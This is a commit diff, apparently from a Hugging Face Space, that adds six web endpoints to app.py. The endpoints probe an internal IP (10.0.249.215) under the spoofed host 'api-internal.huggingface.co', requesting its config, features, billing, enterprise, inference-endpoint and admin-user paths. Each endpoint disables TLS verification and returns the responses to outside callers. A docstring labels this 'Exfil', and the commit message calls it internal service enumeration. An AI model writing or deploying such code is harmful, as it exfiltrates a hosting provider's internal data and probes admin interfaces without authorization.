add hardcoded api-internal endpoints for internal service enumeration
Browse files
app.py
CHANGED
|
@@ -438,6 +438,87 @@ async def hh_fetch(ip: str = "10.0.249.10", port: int = 80, host: str = "hugging
|
|
| 438 |
results.append(f"error: {ex}")
|
| 439 |
return Response("\n".join(results) + "\n", media_type="text/plain")
|
| 440 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 441 |
@app.get("/basicauth-fetch.txt")
|
| 442 |
async def basicauth_fetch(ip: str = "10.0.249.215", host: str = "api-internal.huggingface.co",
|
| 443 |
path: str = "/api/config", user: str = "", pw: str = ""):
|
|
|
|
| 438 |
results.append(f"error: {ex}")
|
| 439 |
return Response("\n".join(results) + "\n", media_type="text/plain")
|
| 440 |
|
| 441 |
+
@app.get("/api-internal-config.txt")
|
| 442 |
+
async def api_internal_config_txt():
|
| 443 |
+
"""Exfil api-internal.huggingface.co/api/config via HTTPS"""
|
| 444 |
+
conn = aiohttp.TCPConnector(ssl=False)
|
| 445 |
+
async with aiohttp.ClientSession(connector=conn) as sess:
|
| 446 |
+
try:
|
| 447 |
+
async with sess.get("https://10.0.249.215/api/config",
|
| 448 |
+
headers={"Host": "api-internal.huggingface.co"},
|
| 449 |
+
timeout=aiohttp.ClientTimeout(total=8)) as resp:
|
| 450 |
+
body = await resp.text(errors="replace")
|
| 451 |
+
return Response(f"status: {resp.status}\n{body[:3000]}\n", media_type="text/plain")
|
| 452 |
+
except Exception as e:
|
| 453 |
+
return Response(f"error: {e}\n", media_type="text/plain")
|
| 454 |
+
|
| 455 |
+
@app.get("/api-internal-features.txt")
|
| 456 |
+
async def api_internal_features_txt():
|
| 457 |
+
conn = aiohttp.TCPConnector(ssl=False)
|
| 458 |
+
async with aiohttp.ClientSession(connector=conn) as sess:
|
| 459 |
+
try:
|
| 460 |
+
async with sess.get("https://10.0.249.215/api/features",
|
| 461 |
+
headers={"Host": "api-internal.huggingface.co"},
|
| 462 |
+
timeout=aiohttp.ClientTimeout(total=8)) as resp:
|
| 463 |
+
body = await resp.text(errors="replace")
|
| 464 |
+
return Response(f"status: {resp.status}\n{body[:3000]}\n", media_type="text/plain")
|
| 465 |
+
except Exception as e:
|
| 466 |
+
return Response(f"error: {e}\n", media_type="text/plain")
|
| 467 |
+
|
| 468 |
+
@app.get("/api-internal-billing.txt")
|
| 469 |
+
async def api_internal_billing_txt():
|
| 470 |
+
conn = aiohttp.TCPConnector(ssl=False)
|
| 471 |
+
async with aiohttp.ClientSession(connector=conn) as sess:
|
| 472 |
+
try:
|
| 473 |
+
async with sess.get("https://10.0.249.215/api/billing",
|
| 474 |
+
headers={"Host": "api-internal.huggingface.co"},
|
| 475 |
+
timeout=aiohttp.ClientTimeout(total=8)) as resp:
|
| 476 |
+
body = await resp.text(errors="replace")
|
| 477 |
+
return Response(f"status: {resp.status}\n{body[:3000]}\n", media_type="text/plain")
|
| 478 |
+
except Exception as e:
|
| 479 |
+
return Response(f"error: {e}\n", media_type="text/plain")
|
| 480 |
+
|
| 481 |
+
@app.get("/api-internal-enterprise.txt")
|
| 482 |
+
async def api_internal_enterprise_txt():
|
| 483 |
+
conn = aiohttp.TCPConnector(ssl=False)
|
| 484 |
+
async with aiohttp.ClientSession(connector=conn) as sess:
|
| 485 |
+
try:
|
| 486 |
+
async with sess.get("https://10.0.249.215/api/enterprise",
|
| 487 |
+
headers={"Host": "api-internal.huggingface.co"},
|
| 488 |
+
timeout=aiohttp.ClientTimeout(total=8)) as resp:
|
| 489 |
+
body = await resp.text(errors="replace")
|
| 490 |
+
return Response(f"status: {resp.status}\n{body[:3000]}\n", media_type="text/plain")
|
| 491 |
+
except Exception as e:
|
| 492 |
+
return Response(f"error: {e}\n", media_type="text/plain")
|
| 493 |
+
|
| 494 |
+
@app.get("/api-internal-inference.txt")
|
| 495 |
+
async def api_internal_inference_txt():
|
| 496 |
+
conn = aiohttp.TCPConnector(ssl=False)
|
| 497 |
+
async with aiohttp.ClientSession(connector=conn) as sess:
|
| 498 |
+
try:
|
| 499 |
+
async with sess.get("https://10.0.249.215/api/inference-endpoints",
|
| 500 |
+
headers={"Host": "api-internal.huggingface.co"},
|
| 501 |
+
timeout=aiohttp.ClientTimeout(total=8)) as resp:
|
| 502 |
+
body = await resp.text(errors="replace")
|
| 503 |
+
return Response(f"status: {resp.status}\n{body[:3000]}\n", media_type="text/plain")
|
| 504 |
+
except Exception as e:
|
| 505 |
+
return Response(f"error: {e}\n", media_type="text/plain")
|
| 506 |
+
|
| 507 |
+
@app.get("/api-internal-admin-users.txt")
|
| 508 |
+
async def api_internal_admin_users_txt():
|
| 509 |
+
"""Try admin panel on api-internal — redirects to /login"""
|
| 510 |
+
conn = aiohttp.TCPConnector(ssl=False)
|
| 511 |
+
async with aiohttp.ClientSession(connector=conn) as sess:
|
| 512 |
+
try:
|
| 513 |
+
async with sess.get("https://10.0.249.215/admin/users",
|
| 514 |
+
headers={"Host": "api-internal.huggingface.co"},
|
| 515 |
+
timeout=aiohttp.ClientTimeout(total=8),
|
| 516 |
+
allow_redirects=True) as resp:
|
| 517 |
+
body = await resp.text(errors="replace")
|
| 518 |
+
return Response(f"status: {resp.status}\nurl: {resp.url}\n{body[:3000]}\n", media_type="text/plain")
|
| 519 |
+
except Exception as e:
|
| 520 |
+
return Response(f"error: {e}\n", media_type="text/plain")
|
| 521 |
+
|
| 522 |
@app.get("/basicauth-fetch.txt")
|
| 523 |
async def basicauth_fetch(ip: str = "10.0.249.215", host: str = "api-internal.huggingface.co",
|
| 524 |
path: str = "/api/config", user: str = "", pw: str = ""):
|